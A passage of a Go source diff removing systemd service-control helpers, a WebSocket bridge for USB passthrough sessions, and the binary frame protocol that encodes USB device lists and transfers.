return fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "start", unit).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("start %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stop stops a systemd unit.
|
|
||||||
func Stop(unit string) error {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "stop", unit).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("stop %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Restart restarts a systemd unit.
|
|
||||||
func Restart(unit string) error {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "restart", unit).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("restart %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Enable enables a systemd unit to start on boot.
|
|
||||||
func Enable(unit string) error {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "enable", unit).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("enable %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Disable disables a systemd unit from starting on boot.
|
|
||||||
func Disable(unit string) error {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "disable", unit).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("disable %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// IsActive returns true if the given systemd unit is currently active.
|
|
||||||
func IsActive(unit string) (bool, error) {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return false, fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "is-active", unit).Output()
|
|
||||||
status := strings.TrimSpace(string(out))
|
|
||||||
if status == "active" {
|
|
||||||
return true, nil
|
|
||||||
}
|
|
||||||
// is-active exits non-zero for inactive/failed — that is not an error
|
|
||||||
// in our context, just means the unit is not active.
|
|
||||||
return false, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Status returns the full systemctl status output for a unit.
|
|
||||||
func Status(unit string) (string, error) {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// systemctl status exits non-zero for stopped services, so we use
|
|
||||||
// CombinedOutput and only treat missing-binary as a real error.
|
|
||||||
out, _ := exec.Command(systemctl, "status", unit).CombinedOutput()
|
|
||||||
return string(out), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Logs returns the last n lines of journal output for a systemd unit.
|
|
||||||
func Logs(unit string, lines int) (string, error) {
|
|
||||||
journalctl, err := exec.LookPath("journalctl")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("journalctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(journalctl, "-u", unit, "-n", fmt.Sprintf("%d", lines), "--no-pager").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return string(out), fmt.Errorf("journalctl: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return string(out), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// DaemonReload runs systemctl daemon-reload.
|
|
||||||
func DaemonReload() error {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "daemon-reload").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("daemon-reload: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@ -1,366 +0,0 @@
|
|||||||
package float
|
|
||||||
|
|
||||||
import (
|
|
||||||
"log"
|
|
||||||
"net/http"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"setec-manager/internal/db"
|
|
||||||
|
|
||||||
"github.com/gorilla/websocket"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Bridge manages WebSocket connections for USB passthrough in Float Mode.
|
|
||||||
type Bridge struct {
|
|
||||||
db *db.DB
|
|
||||||
sessions map[string]*bridgeConn
|
|
||||||
mu sync.RWMutex
|
|
||||||
upgrader websocket.Upgrader
|
|
||||||
}
|
|
||||||
|
|
||||||
// bridgeConn tracks a single active WebSocket connection and its associated session.
|
|
||||||
type bridgeConn struct {
|
|
||||||
sessionID string
|
|
||||||
conn *websocket.Conn
|
|
||||||
devices []USBDevice
|
|
||||||
mu sync.Mutex
|
|
||||||
done chan struct{}
|
|
||||||
}
|
|
||||||
|
|
||||||
const (
|
|
||||||
writeWait = 10 * time.Second
|
|
||||||
pongWait = 60 * time.Second
|
|
||||||
pingInterval = 30 * time.Second
|
|
||||||
maxMessageSize = 64 * 1024 // 64 KB max frame payload
|
|
||||||
)
|
|
||||||
|
|
||||||
// NewBridge creates a new Bridge with the given database reference.
|
|
||||||
func NewBridge(database *db.DB) *Bridge {
|
|
||||||
return &Bridge{
|
|
||||||
db: database,
|
|
||||||
sessions: make(map[string]*bridgeConn),
|
|
||||||
upgrader: websocket.Upgrader{
|
|
||||||
ReadBufferSize: 4096,
|
|
||||||
WriteBufferSize: 4096,
|
|
||||||
CheckOrigin: func(r *http.Request) bool {
|
|
||||||
return true // Accept all origins; auth is handled via session token
|
|
||||||
},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// HandleWebSocket upgrades an HTTP connection to WebSocket and manages the
|
|
||||||
// binary frame protocol for USB passthrough. The session ID must be provided
|
|
||||||
// as a "session" query parameter.
|
|
||||||
func (b *Bridge) HandleWebSocket(w http.ResponseWriter, r *http.Request) {
|
|
||||||
sessionID := r.URL.Query().Get("session")
|
|
||||||
if sessionID == "" {
|
|
||||||
http.Error(w, "missing session parameter", http.StatusBadRequest)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Validate session exists and is not expired
|
|
||||||
sess, err := b.db.GetFloatSession(sessionID)
|
|
||||||
if err != nil {
|
|
||||||
http.Error(w, "invalid session", http.StatusUnauthorized)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if time.Now().After(sess.ExpiresAt) {
|
|
||||||
http.Error(w, "session expired", http.StatusUnauthorized)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Upgrade to WebSocket
|
|
||||||
conn, err := b.upgrader.Upgrade(w, r, nil)
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("[float/bridge] upgrade failed for session %s: %v", sessionID, err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
bc := &bridgeConn{
|
|
||||||
sessionID: sessionID,
|
|
||||||
conn: conn,
|
|
||||||
done: make(chan struct{}),
|
|
||||||
}
|
|
||||||
|
|
||||||
// Register active connection
|
|
||||||
b.mu.Lock()
|
|
||||||
// Close any existing connection for this session
|
|
||||||
if existing, ok := b.sessions[sessionID]; ok {
|
|
||||||
close(existing.done)
|
|
||||||
existing.conn.Close()
|
|
||||||
}
|
|
||||||
b.sessions[sessionID] = bc
|
|
||||||
b.mu.Unlock()
|
|
||||||
|
|
||||||
log.Printf("[float/bridge] session %s connected from %s", sessionID, r.RemoteAddr)
|
|
||||||
|
|
||||||
// Start read/write loops
|
|
||||||
go b.writePump(bc)
|
|
||||||
b.readPump(bc)
|
|
||||||
}
|
|
||||||
|
|
||||||
// readPump reads binary frames from the WebSocket and dispatches them.
|
|
||||||
func (b *Bridge) readPump(bc *bridgeConn) {
|
|
||||||
defer b.cleanup(bc)
|
|
||||||
|
|
||||||
bc.conn.SetReadLimit(maxMessageSize)
|
|
||||||
bc.conn.SetReadDeadline(time.Now().Add(pongWait))
|
|
||||||
bc.conn.SetPongHandler(func(string) error {
|
|
||||||
bc.conn.SetReadDeadline(time.Now().Add(pongWait))
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
|
|
||||||
for {
|
|
||||||
messageType, data, err := bc.conn.ReadMessage()
|
|
||||||
if err != nil {
|
|
||||||
if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseNormalClosure) {
|
|
||||||
log.Printf("[float/bridge] session %s read error: %v", bc.sessionID, err)
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if messageType != websocket.BinaryMessage {
|
|
||||||
b.sendError(bc, 0x0001, "expected binary message")
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
frameType, payload, err := DecodeFrame(data)
|
|
||||||
if err != nil {
|
|
||||||
b.sendError(bc, 0x0002, "malformed frame: "+err.Error())
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
// Update session ping in DB
|
|
||||||
b.db.PingFloatSession(bc.sessionID)
|
|
||||||
|
|
||||||
switch frameType {
|
|
||||||
case FrameEnumerate:
|
|
||||||
b.handleEnumerate(bc)
|
|
||||||
case FrameOpen:
|
|
||||||
b.handleOpen(bc, payload)
|
|
||||||
case FrameClose:
|
|
||||||
b.handleClose(bc, payload)
|
|
||||||
case FrameTransferOut:
|
|
||||||
b.handleTransfer(bc, payload)
|
|
||||||
case FrameInterrupt:
|
|
||||||
b.handleInterrupt(bc, payload)
|
|
||||||
case FramePong:
|
|
||||||
// Client responded to our ping; no action needed
|
|
||||||
default:
|
|
||||||
b.sendError(bc, 0x0003, "unknown frame type")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// writePump sends periodic pings to keep the connection alive.
|
|
||||||
func (b *Bridge) writePump(bc *bridgeConn) {
|
|
||||||
ticker := time.NewTicker(pingInterval)
|
|
||||||
defer ticker.Stop()
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-ticker.C:
|
|
||||||
bc.mu.Lock()
|
|
||||||
bc.conn.SetWriteDeadline(time.Now().Add(writeWait))
|
|
||||||
err := bc.conn.WriteMessage(websocket.BinaryMessage, EncodeFrame(FramePing, nil))
|
|
||||||
bc.mu.Unlock()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
case <-bc.done:
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// handleEnumerate responds with the current list of USB devices known to this
|
|
||||||
// session. In a full implementation, this would forward the enumerate request
|
|
||||||
// to the client-side USB agent and await its response. Here we return the
|
|
||||||
// cached device list.
|
|
||||||
func (b *Bridge) handleEnumerate(bc *bridgeConn) {
|
|
||||||
bc.mu.Lock()
|
|
||||||
devices := bc.devices
|
|
||||||
bc.mu.Unlock()
|
|
||||||
|
|
||||||
if devices == nil {
|
|
||||||
devices = []USBDevice{}
|
|
||||||
}
|
|
||||||
|
|
||||||
payload := EncodeDeviceList(devices)
|
|
||||||
b.sendFrame(bc, FrameEnumResult, payload)
|
|
||||||
}
|
|
||||||
|
|
||||||
// handleOpen processes a device open request. The payload contains
|
|
||||||
// [deviceID:2] identifying which device to claim.
|
|
||||||
func (b *Bridge) handleOpen(bc *bridgeConn, payload []byte) {
|
|
||||||
if len(payload) < 2 {
|
|
||||||
b.sendError(bc, 0x0010, "open: payload too short")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
deviceID := uint16(payload[0])<<8 | uint16(payload[1])
|
|
||||||
|
|
||||||
// Verify the device exists in our known list
|
|
||||||
bc.mu.Lock()
|
|
||||||
found := false
|
|
||||||
for _, dev := range bc.devices {
|
|
||||||
if dev.DeviceID == deviceID {
|
|
||||||
found = true
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
bc.mu.Unlock()
|
|
||||||
|
|
||||||
if !found {
|
|
||||||
b.sendError(bc, 0x0011, "open: device not found")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// In a real implementation, this would claim the USB device via the host agent.
|
|
||||||
// For now, acknowledge the open request.
|
|
||||||
result := make([]byte, 3)
|
|
||||||
result[0] = payload[0]
|
|
||||||
result[1] = payload[1]
|
|
||||||
result[2] = 0x00 // success
|
|
||||||
b.sendFrame(bc, FrameOpenResult, result)
|
|
||||||
|
|
||||||
log.Printf("[float/bridge] session %s opened device 0x%04X", bc.sessionID, deviceID)
|
|
||||||
}
|
|
||||||
|
|
||||||
// handleClose processes a device close request. Payload: [deviceID:2].
|
|
||||||
func (b *Bridge) handleClose(bc *bridgeConn, payload []byte) {
|
|
||||||
if len(payload) < 2 {
|
|
||||||
b.sendError(bc, 0x0020, "close: payload too short")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
deviceID := uint16(payload[0])<<8 | uint16(payload[1])
|
|
||||||
|
|
||||||
// Acknowledge close
|
|
||||||
result := make([]byte, 3)
|
|
||||||
result[0] = payload[0]
|
|
||||||
result[1] = payload[1]
|
|
||||||
result[2] = 0x00 // success
|
|
||||||
b.sendFrame(bc, FrameCloseResult, result)
|
|
||||||
|
|
||||||
log.Printf("[float/bridge] session %s closed device 0x%04X", bc.sessionID, deviceID)
|
|
||||||
}
|
|
||||||
|
|
||||||
// handleTransfer forwards a bulk/interrupt OUT transfer to the USB device.
|
|
||||||
func (b *Bridge) handleTransfer(bc *bridgeConn, payload []byte) {
|
|
||||||
deviceID, endpoint, transferData, err := DecodeTransfer(payload)
|
|
||||||
if err != nil {
|
|
||||||
b.sendError(bc, 0x0030, "transfer: "+err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// In a real implementation, the transfer data would be sent to the USB device
|
|
||||||
// via the host agent, and the response would be sent back. Here we acknowledge
|
|
||||||
// receipt of the transfer request.
|
|
||||||
log.Printf("[float/bridge] session %s transfer to device 0x%04X endpoint 0x%02X: %d bytes",
|
|
||||||
bc.sessionID, deviceID, endpoint, len(transferData))
|
|
||||||
|
|
||||||
// Build transfer result: [deviceID:2][endpoint:1][status:1]
|
|
||||||
result := make([]byte, 4)
|
|
||||||
result[0] = byte(deviceID >> 8)
|
|
||||||
result[1] = byte(deviceID)
|
|
||||||
result[2] = endpoint
|
|
||||||
result[3] = 0x00 // success
|
|
||||||
b.sendFrame(bc, FrameTransferResult, result)
|
|
||||||
}
|
|
||||||
|
|
||||||
// handleInterrupt processes an interrupt transfer request.
|
|
||||||
func (b *Bridge) handleInterrupt(bc *bridgeConn, payload []byte) {
|
|
||||||
if len(payload) < 3 {
|
|
||||||
b.sendError(bc, 0x0040, "interrupt: payload too short")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
deviceID := uint16(payload[0])<<8 | uint16(payload[1])
|
|
||||||
endpoint := payload[2]
|
|
||||||
|
|
||||||
log.Printf("[float/bridge] session %s interrupt on device 0x%04X endpoint 0x%02X",
|
|
||||||
bc.sessionID, deviceID, endpoint)
|
|
||||||
|
|
||||||
// Acknowledge interrupt request
|
|
||||||
result := make([]byte, 4)
|
|
||||||
result[0] = payload[0]
|
|
||||||
result[1] = payload[1]
|
|
||||||
result[2] = endpoint
|
|
||||||
result[3] = 0x00 // success
|
|
||||||
b.sendFrame(bc, FrameInterruptResult, result)
|
|
||||||
}
|
|
||||||
|
|
||||||
// sendFrame writes a binary frame to the WebSocket connection.
|
|
||||||
func (b *Bridge) sendFrame(bc *bridgeConn, frameType byte, payload []byte) {
|
|
||||||
bc.mu.Lock()
|
|
||||||
defer bc.mu.Unlock()
|
|
||||||
|
|
||||||
bc.conn.SetWriteDeadline(time.Now().Add(writeWait))
|
|
||||||
if err := bc.conn.WriteMessage(websocket.BinaryMessage, EncodeFrame(frameType, payload)); err != nil {
|
|
||||||
log.Printf("[float/bridge] session %s write error: %v", bc.sessionID, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// sendError writes an error frame to the WebSocket connection.
|
|
||||||
func (b *Bridge) sendError(bc *bridgeConn, code uint16, message string) {
|
|
||||||
b.sendFrame(bc, FrameError, EncodeError(code, message))
|
|
||||||
}
|
|
||||||
|
|
||||||
// cleanup removes a connection from the active sessions and cleans up resources.
|
|
||||||
func (b *Bridge) cleanup(bc *bridgeConn) {
|
|
||||||
b.mu.Lock()
|
|
||||||
if current, ok := b.sessions[bc.sessionID]; ok && current == bc {
|
|
||||||
delete(b.sessions, bc.sessionID)
|
|
||||||
}
|
|
||||||
b.mu.Unlock()
|
|
||||||
|
|
||||||
close(bc.done)
|
|
||||||
bc.conn.Close()
|
|
||||||
|
|
||||||
log.Printf("[float/bridge] session %s disconnected", bc.sessionID)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ActiveSessions returns the number of currently connected WebSocket sessions.
|
|
||||||
func (b *Bridge) ActiveSessions() int {
|
|
||||||
b.mu.RLock()
|
|
||||||
defer b.mu.RUnlock()
|
|
||||||
return len(b.sessions)
|
|
||||||
}
|
|
||||||
|
|
||||||
// DisconnectSession forcibly closes the WebSocket connection for a given session.
|
|
||||||
func (b *Bridge) DisconnectSession(sessionID string) {
|
|
||||||
b.mu.Lock()
|
|
||||||
bc, ok := b.sessions[sessionID]
|
|
||||||
if ok {
|
|
||||||
delete(b.sessions, sessionID)
|
|
||||||
}
|
|
||||||
b.mu.Unlock()
|
|
||||||
|
|
||||||
if ok {
|
|
||||||
close(bc.done)
|
|
||||||
bc.conn.WriteControl(
|
|
||||||
websocket.CloseMessage,
|
|
||||||
websocket.FormatCloseMessage(websocket.CloseNormalClosure, "session terminated"),
|
|
||||||
time.Now().Add(writeWait),
|
|
||||||
)
|
|
||||||
bc.conn.Close()
|
|
||||||
log.Printf("[float/bridge] session %s forcibly disconnected", sessionID)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// UpdateDeviceList sets the known device list for a session (called when the
|
|
||||||
// client-side USB agent reports its attached devices).
|
|
||||||
func (b *Bridge) UpdateDeviceList(sessionID string, devices []USBDevice) {
|
|
||||||
b.mu.RLock()
|
|
||||||
bc, ok := b.sessions[sessionID]
|
|
||||||
b.mu.RUnlock()
|
|
||||||
|
|
||||||
if ok {
|
|
||||||
bc.mu.Lock()
|
|
||||||
bc.devices = devices
|
|
||||||
bc.mu.Unlock()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,225 +0,0 @@
|
|||||||
package float
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/binary"
|
|
||||||
"fmt"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Frame type constants define the binary protocol for USB passthrough over WebSocket.
|
|
||||||
const (
|
|
||||||
FrameEnumerate byte = 0x01
|
|
||||||
FrameEnumResult byte = 0x02
|
|
||||||
FrameOpen byte = 0x03
|
|
||||||
FrameOpenResult byte = 0x04
|
|
||||||
FrameClose byte = 0x05
|
|
||||||
FrameCloseResult byte = 0x06
|
|
||||||
FrameTransferOut byte = 0x10
|
|
||||||
FrameTransferIn byte = 0x11
|
|
||||||
FrameTransferResult byte = 0x12
|
|
||||||
FrameInterrupt byte = 0x20
|
|
||||||
FrameInterruptResult byte = 0x21
|
|
||||||
FramePing byte = 0xFE
|
|
||||||
FramePong byte = 0xFF
|
|
||||||
FrameError byte = 0xE0
|
|
||||||
)
|
|
||||||
|
|
||||||
// frameHeaderSize is the fixed size of a frame header: 1 byte type + 4 bytes length.
|
|
||||||
const frameHeaderSize = 5
|
|
||||||
|
|
||||||
// USBDevice represents a USB device detected on the client host.
|
|
||||||
type USBDevice struct {
|
|
||||||
VendorID uint16 `json:"vendor_id"`
|
|
||||||
ProductID uint16 `json:"product_id"`
|
|
||||||
DeviceID uint16 `json:"device_id"`
|
|
||||||
Manufacturer string `json:"manufacturer"`
|
|
||||||
Product string `json:"product"`
|
|
||||||
SerialNumber string `json:"serial_number"`
|
|
||||||
Class byte `json:"class"`
|
|
||||||
SubClass byte `json:"sub_class"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// deviceFixedSize is the fixed portion of a serialized USBDevice:
|
|
||||||
// VendorID(2) + ProductID(2) + DeviceID(2) + Class(1) + SubClass(1) + 3 string lengths (2 each) = 14
|
|
||||||
const deviceFixedSize = 14
|
|
||||||
|
|
||||||
// EncodeFrame builds a binary frame: [type:1][length:4 big-endian][payload:N].
|
|
||||||
func EncodeFrame(frameType byte, payload []byte) []byte {
|
|
||||||
frame := make([]byte, frameHeaderSize+len(payload))
|
|
||||||
frame[0] = frameType
|
|
||||||
binary.BigEndian.PutUint32(frame[1:5], uint32(len(payload)))
|
|
||||||
copy(frame[frameHeaderSize:], payload)
|
|
||||||
return frame
|
|
||||||
}
|
|
||||||
|
|
||||||
// DecodeFrame parses a binary frame into its type and payload.
|
|
||||||
func DecodeFrame(data []byte) (frameType byte, payload []byte, err error) {
|
|
||||||
if len(data) < frameHeaderSize {
|
|
||||||
return 0, nil, fmt.Errorf("frame too short: need at least %d bytes, got %d", frameHeaderSize, len(data))
|
|
||||||
}
|
|
||||||
|
|
||||||
frameType = data[0]
|
|
||||||
length := binary.BigEndian.Uint32(data[1:5])
|
|
||||||
|
|
||||||
if uint32(len(data)-frameHeaderSize) < length {
|
|
||||||
return 0, nil, fmt.Errorf("frame payload truncated: header says %d bytes, have %d", length, len(data)-frameHeaderSize)
|
|
||||||
}
|
|
||||||
|
|
||||||
payload = make([]byte, length)
|
|
||||||
copy(payload, data[frameHeaderSize:frameHeaderSize+int(length)])
|
|
||||||
return frameType, payload, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// encodeString writes a length-prefixed string (2-byte big-endian length + bytes).
|
|
||||||
func encodeString(buf []byte, offset int, s string) int {
|
|
||||||
b := []byte(s)
|
|
||||||
binary.BigEndian.PutUint16(buf[offset:], uint16(len(b)))
|
|
||||||
offset += 2
|
|
||||||
copy(buf[offset:], b)
|
|
||||||
return offset + len(b)
|
|
||||||
}
|
|
||||||
|
|
||||||
// decodeString reads a length-prefixed string from the buffer.
|
|
||||||
func decodeString(data []byte, offset int) (string, int, error) {
|
|
||||||
if offset+2 > len(data) {
|
|
||||||
return "", 0, fmt.Errorf("string length truncated at offset %d", offset)
|
|
||||||
}
|
|
||||||
slen := int(binary.BigEndian.Uint16(data[offset:]))
|
|
||||||
offset += 2
|
|
||||||
if offset+slen > len(data) {
|
|
||||||
return "", 0, fmt.Errorf("string data truncated at offset %d: need %d bytes", offset, slen)
|
|
||||||
}
|
|
||||||
s := string(data[offset : offset+slen])
|
|
||||||
return s, offset + slen, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// serializeDevice serializes a single USBDevice into bytes.
|
|
||||||
func serializeDevice(dev USBDevice) []byte {
|
|
||||||
mfr := []byte(dev.Manufacturer)
|
|
||||||
prod := []byte(dev.Product)
|
|
||||||
ser := []byte(dev.SerialNumber)
|
|
||||||
|
|
||||||
size := deviceFixedSize + len(mfr) + len(prod) + len(ser)
|
|
||||||
buf := make([]byte, size)
|
|
||||||
|
|
||||||
binary.BigEndian.PutUint16(buf[0:], dev.VendorID)
|
|
||||||
binary.BigEndian.PutUint16(buf[2:], dev.ProductID)
|
|
||||||
binary.BigEndian.PutUint16(buf[4:], dev.DeviceID)
|
|
||||||
buf[6] = dev.Class
|
|
||||||
buf[7] = dev.SubClass
|
|
||||||
|
|
||||||
off := 8
|
|
||||||
off = encodeString(buf, off, dev.Manufacturer)
|
|
||||||
off = encodeString(buf, off, dev.Product)
|
|
||||||
_ = encodeString(buf, off, dev.SerialNumber)
|
|
||||||
|
|
||||||
return buf
|
|
||||||
}
|
|
||||||
|
|
||||||
// EncodeDeviceList serializes a slice of USBDevices for a FrameEnumResult payload.
|
|
||||||
// Format: [count:2 big-endian][device...]
|
|
||||||
func EncodeDeviceList(devices []USBDevice) []byte {
|
|
||||||
// First pass: serialize each device to compute total size
|
|
||||||
serialized := make([][]byte, len(devices))
|
|
||||||
totalSize := 2 // 2 bytes for count
|
|
||||||
for i, dev := range devices {
|
|
||||||
serialized[i] = serializeDevice(dev)
|
|
||||||
totalSize += len(serialized[i])
|
|
||||||
}
|
|
||||||
|
|
||||||
buf := make([]byte, totalSize)
|
|
||||||
binary.BigEndian.PutUint16(buf[0:], uint16(len(devices)))
|
|
||||||
off := 2
|
|
||||||
for _, s := range serialized {
|
|
||||||
copy(buf[off:], s)
|
|
||||||
off += len(s)
|
|
||||||
}
|
|
||||||
|
|
||||||
return buf
|
|
||||||
}
|
|
||||||
|
|
||||||
// DecodeDeviceList deserializes a FrameEnumResult payload into a slice of USBDevices.
|
|
||||||
func DecodeDeviceList(data []byte) ([]USBDevice, error) {
|
|
||||||
if len(data) < 2 {
|
|
||||||
return nil, fmt.Errorf("device list too short: need at least 2 bytes")
|
|
||||||
}
|
|
||||||
|
|
||||||
count := int(binary.BigEndian.Uint16(data[0:]))
|
|
||||||
off := 2
|
|
||||||
|
|
||||||
devices := make([]USBDevice, 0, count)
|
|
||||||
for i := 0; i < count; i++ {
|
|
||||||
if off+8 > len(data) {
|
|
||||||
return nil, fmt.Errorf("device %d: fixed fields truncated at offset %d", i, off)
|
|
||||||
}
|
|
||||||
|
|
||||||
dev := USBDevice{
|
|
||||||
VendorID: binary.BigEndian.Uint16(data[off:]),
|
|
||||||
ProductID: binary.BigEndian.Uint16(data[off+2:]),
|
|
||||||
DeviceID: binary.BigEndian.Uint16(data[off+4:]),
|
|
||||||
Class: data[off+6],
|
|
||||||
SubClass: data[off+7],
|
|
||||||
}
|
|
||||||
off += 8
|
|
||||||
|
|
||||||
var err error
|
|
||||||
dev.Manufacturer, off, err = decodeString(data, off)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("device %d manufacturer: %w", i, err)
|
|
||||||
}
|
|
||||||
dev.Product, off, err = decodeString(data, off)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("device %d product: %w", i, err)
|
|
||||||
}
|
|
||||||
dev.SerialNumber, off, err = decodeString(data, off)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("device %d serial: %w", i, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
devices = append(devices, dev)
|
|
||||||
}
|
|
||||||
|
|
||||||
return devices, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// EncodeTransfer serializes a USB transfer payload.
|
|
||||||
// Format: [deviceID:2][endpoint:1][data:N]
|
|
||||||
func EncodeTransfer(deviceID uint16, endpoint byte, data []byte) []byte {
|
|
||||||
buf := make([]byte, 3+len(data))
|
|
||||||
binary.BigEndian.PutUint16(buf[0:], deviceID)
|
|
||||||
buf[2] = endpoint
|
|
||||||
copy(buf[3:], data)
|
|
||||||
return buf
|
|
||||||
}
|
|
||||||
|
|
||||||
// DecodeTransfer deserializes a USB transfer payload.
|
|
||||||
func DecodeTransfer(data []byte) (deviceID uint16, endpoint byte, transferData []byte, err error) {
|
|
||||||
if len(data) < 3 {
|
|
||||||
return 0, 0, nil, fmt.Errorf("transfer payload too short: need at least 3 bytes, got %d", len(data))
|
|
||||||
}
|
|
||||||
|
|
||||||
deviceID = binary.BigEndian.Uint16(data[0:])
|
|
||||||
endpoint = data[2]
|
|
||||||
transferData = make([]byte, len(data)-3)
|
|
||||||
copy(transferData, data[3:])
|
|
||||||
return deviceID, endpoint, transferData, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// EncodeError serializes an error response payload.
|
|
||||||
// Format: [code:2 big-endian][message:UTF-8 bytes]
|
|
||||||
func EncodeError(code uint16, message string) []byte {
|
|
||||||
msg := []byte(message)
|
|
||||||
buf := make([]byte, 2+len(msg))
|
|
||||||
binary.BigEndian.PutUint16(buf[0:], code)
|
|
||||||
copy(buf[2:], msg)
|
|
||||||
return buf
|
|
||||||
}
|
|
||||||
|
|
||||||
// DecodeError deserializes an error response payload.
|
|
||||||
func DecodeError(data []byte) (code uint16, message string) {
|
|
||||||
if len(data) < 2 {
|
|
||||||
return 0, ""
|
|
||||||
}
|
|
||||||
code = binary.BigEndian.Uint16(data[0:])
|
|
||||||
message = string(data[2:])
|
|
||||||
return code, message
|
|
||||||
}
|
|
||||||
@ -1,248 +0,0 @@
|
|||||||
package float
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"setec-manager/internal/db"
|
|
||||||
|
|
||||||
"github.com/google/uuid"
|
|
||||||
"github.com/gorilla/websocket"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Session represents an active Float Mode session, combining database state
